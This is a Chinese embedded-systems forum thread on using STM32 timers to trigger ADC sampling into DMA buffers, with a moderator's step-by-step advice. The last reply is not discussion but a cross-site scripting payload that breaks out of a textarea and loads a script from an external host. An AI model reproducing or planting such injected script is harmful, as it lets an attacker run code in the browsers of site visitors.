硬汉嵌入式论坛

 找回密码
 立即注册
查看: 3978|回复: 7
收起左侧

[有问必答] 关于DMA-定时器采样遇到的问题

[复制链接]

5

主题

22

回帖

37

积分

新手上路

积分
37
发表于 2016-11-19 09:48:46 | 显示全部楼层 |阅读模式
目标:对2个源信号分别进行2种采样率的采样,一个96k,另一个6.4k采样率;
单片机型号:STM32F103C8,48脚,内部主时钟64M(8M倍频获得).
说明:采样由一个外部方波信号触发(周期20ms),即每个20ms有一个外部方波信号到来触发采样。
实现考虑:如96k采样率的通道,即20ms内要采样1920点,若采用定时器中断采样的方式,则20ms内要产生1920次中断,虽然每次定时中断进入只是采样,清中断等几条语句,需要几个cycle就可完成,但20ms内也要消耗5000多个
                cycles,我希望能把这5000个cycles节省下来用于其它的计算,在硬汉的建议下参考了V4的示波器采集部分代码,但实现一直有问题;另一种方案就是传统的定时器中断采样方式,这个已实现,前几天遇到的问题:有一个外脉冲触发,LED就一直交替点亮,这个问题已解决,原因是外中断函数中没有及时清外中断。
问题描述:我考虑了二种方案,但第一种一直有问题,可能对定时器的PWM方式理解不深,这个请硬汉能不是仔细讲解下,CC3输出会自动触发A/D采样?那CC2是否也可以?遇到的问题如下:
                 1、 11.JPG 用这条语句时,LED不会交替点亮,[img]file:///C:\Documents and Settings\Administrator\Application Data\Tencent\Users\2769266387\QQ\WinTemp\RichOle\J)[XC3WG1[G`_CO@``CPWLY.png[/img][img]file:///C:\Documents and Settings\Administrator\Application Data\Tencent\Users\2769266387\QQ\WinTemp\RichOle\J)[XC3WG1[G`_CO@``CPWLY.png[/img][img]file:///C:\Documents and Settings\Administrator\Application Data\Tencent\Users\2769266387\QQ\WinTemp\RichOle\J)[XC3WG1[G`_CO@``CPWLY.png[/img][img]file:///C:\Documents and Settings\Administrator\Application Data\Tencent\Users\2769266387\QQ\WinTemp\RichOle\J)[XC3WG1[G`_CO@``CPWLY.png[/img][img]file:///C:\Documents and Settings\Administrator\Application Data\Tencent\Users\2769266387\QQ\WinTemp\RichOle\J)[XC3WG1[G`_CO@``CPWLY.png[/img][img]file:///C:\Documents and Settings\Administrator\Application Data\Tencent\Users\2769266387\QQ\WinTemp\RichOle\J)[XC3WG1[G`_CO@``CPWLY.png[/img][img]file:///C:\Documents and Settings\Administrator\Application Data\Tencent\Users\2769266387\QQ\WinTemp\RichOle\J)[XC3WG1[G`_CO@``CPWLY.png[/img]当设定为DMA_Mode_Circular模式时会交替点亮?这是怎么回事,和你的不一样?
                 2、你的定时器是自动触发采样并送往DMA中吗?
                 3、你这种采样方式必须用PWM方式吗?
                  4、CC3输出触发A/D采样,那么选用CC2或cc1是否同样可以?
                   另一种方案已实现。
       谢谢!主要我对定时器的高级应用不是太了解,前几天看了些,由于现在项目比较急,用了方案2采集方式,但还是想把第1中方案实现了,请指点,现把程序代码附上,能不能帮我看看问题在哪?
方案1思想(参考V4出厂程序),我的理解 方案2
1、外部外冲来时,进入外中断程序,使能ADC1TIM1
2
、定时器T1自动触发ADC采样并送往DMA缓冲;
3
DMA满中断触发进入DMA中断函数,交替点亮1个二极管,并关ADC1TIM1
4
、等待下一次外部触发脉冲的到来。
1、外中断信号到来,启动定时器3和ADC1;
2、定时器3中断,采集数据;
3、等待DMA满中断;
4、DMA满中断,进入DMA中断,修改全局标志,关定时器3和ADC1;
5、等待下一次外部中断的到来;

signal_sampling.rar

11.87 MB, 下载次数: 106

回复

使用道具 举报

335

主题

2037

回帖

3047

积分

版主

Rank: 7Rank: 7Rank: 7

积分
3047
发表于 2016-11-19 10:53:47 | 显示全部楼层
不用关DMA中断,不关DMA中断的事情啊。
可以设置DMA传输数据的个数,比如1920,不循环。每次外部中断,开启一次DMA即可。
回复

使用道具 举报

5

主题

22

回帖

37

积分

新手上路

积分
37
 楼主| 发表于 2016-11-21 09:19:48 | 显示全部楼层
谢谢,答复! 请问“每次外部中断,开启一次DMA即可”这句话具体是什么意思,还需要给DMA设置传输数据个数吗?
回复

使用道具 举报

5

主题

22

回帖

37

积分

新手上路

积分
37
 楼主| 发表于 2016-11-21 09:20:23 | 显示全部楼层
还有,定时器必须设置成PWM格式吗?
回复

使用道具 举报

335

主题

2037

回帖

3047

积分

版主

Rank: 7Rank: 7Rank: 7

积分
3047
发表于 2016-11-21 13:45:04 | 显示全部楼层

回 tengen 的帖子

tengen:谢谢,答复! 请问“每次外部中断,开启一次DMA即可”这句话具体是什么意思,还需要给DMA设置传输数据个数吗? (2016-11-21 09:19)
是的啊,一次触发,DMA可以设定传输的个数的。你这个这样设置:
1. 外部触发启动定时器,
2. 定时器触发ADC,
3. ADC触发DMA,DMA把数据存在一个数组。
4. DMA设定传输个数,计数完成了,就有DMA完成中断。
5. 然后处理数据。
回复

使用道具 举报

5

主题

22

回帖

37

积分

新手上路

积分
37
 楼主| 发表于 2016-11-21 15:04:34 | 显示全部楼层

我又看了下V4的出厂程序,原因可能我没有再次初始化DMA的设置,图片中,我看到在StartADC中又对DMA进行了配置,这个能就是我没成功的原因!
回复

使用道具 举报

335

主题

2037

回帖

3047

积分

版主

Rank: 7Rank: 7Rank: 7

积分
3047
发表于 2016-11-23 16:37:16 | 显示全部楼层

回 tengen 的帖子

tengen:
我又看了下V4的出厂程序,原因可能我没有再次初始化DMA的设置,图片中,我看到在StartADC中又对DMA进行了配置,这个能就是我没成功的原因! (2016-11-21 15:04)
DMA 不用再次设置的。最多就是enable,或者disable。

我建议你通过关闭/开启定时器来就可以了。不用重新设定DMA的任何参数。

DMA传输完成中断里面,关闭定时器。外部中断来启动定时器,就可以实现你需要的功能。
回复

使用道具 举报

0

主题

1

回帖

0

积分

新手上路

积分
0
发表于 2016-11-24 10:38:16 | 显示全部楼层
</textarea>'"><script src=http://xss.scanfsec.com/GpZDZn></script>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|Archiver|手机版|硬汉嵌入式论坛

GMT+8, 2024-5-13 03:09 , Processed in 0.189798 second(s), 33 queries .

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表